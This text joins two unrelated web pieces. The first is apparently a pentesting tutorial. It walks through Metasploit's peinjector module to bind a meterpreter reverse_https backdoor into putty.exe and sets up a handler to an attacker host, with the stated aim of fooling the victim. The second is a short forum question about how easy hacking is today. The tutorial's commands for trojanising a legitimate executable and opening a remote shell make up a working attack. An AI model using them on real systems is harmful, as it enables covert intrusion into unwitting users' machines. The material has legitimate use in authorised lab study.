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Metasploit for Pentester: Inject Payload into Executable

Being lurking and undetectable is the priority after anonymity. In this article, we are going to learn how to create an innocuous-looking backdoor and bind it with a legitimate executable file to gain the victims’ trust.

Table of Content1. Pre-requisites for Lab set upPre-requisites for Lab set upKali Linux (Pentester Machine)Executable file search on victim’s PCLet’s Begin. There are multiple methods to take the meterpreter session of the target machine, so you can adapt any method to have the session of the victims’ PC. We already have a meterpreter session of the victim’s PC.Introduction of Peinjector ModuleThis module will inject a specified windows payload into a target executable. set targetpe C:\\Users\\ignite\\Downloads\\putty.exe set session 1 set lhost 192.168.1.2 set lport 443 exploit use exploit/multi/handler set payload windows/meterpreter/reverse_https set lhost 192.168.1.2 set lport 443 exploit https://1.bp.blogspot.com/-8kl088cO2gw/YQLjZhHhYeI/AAAAAAAAx_c/s8dC8uebxSIOsL_W1Vo34gzaYws79mX4gCLcBGAsYHQ/s16000/3.png As Victim is not aware of the backdoor created by the peinjector payload, whenever the victim will try to use the putty.exe which will look legitimate to him, and also he will not observe any change in the functionality of putty.

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In Todays World How Easy Is To Hack And Be Hacked?

I was curious to know how easy it is in todays world to hack and be hacked.

Disclaimer, I am only trying to learn how to protect myself and others.

I am aware of social engineering, ddos, and a couple other methods I heard about on the news.

I just wanted to know in todays word of antivirus softwares and updates if hacking is still what it used to be. If it has gotten easier or harder. Are we really safer?

Also how many hackers are programmers? Do you need to be a programmer?

I have heard of operating systems that were designed to penetrate systems.

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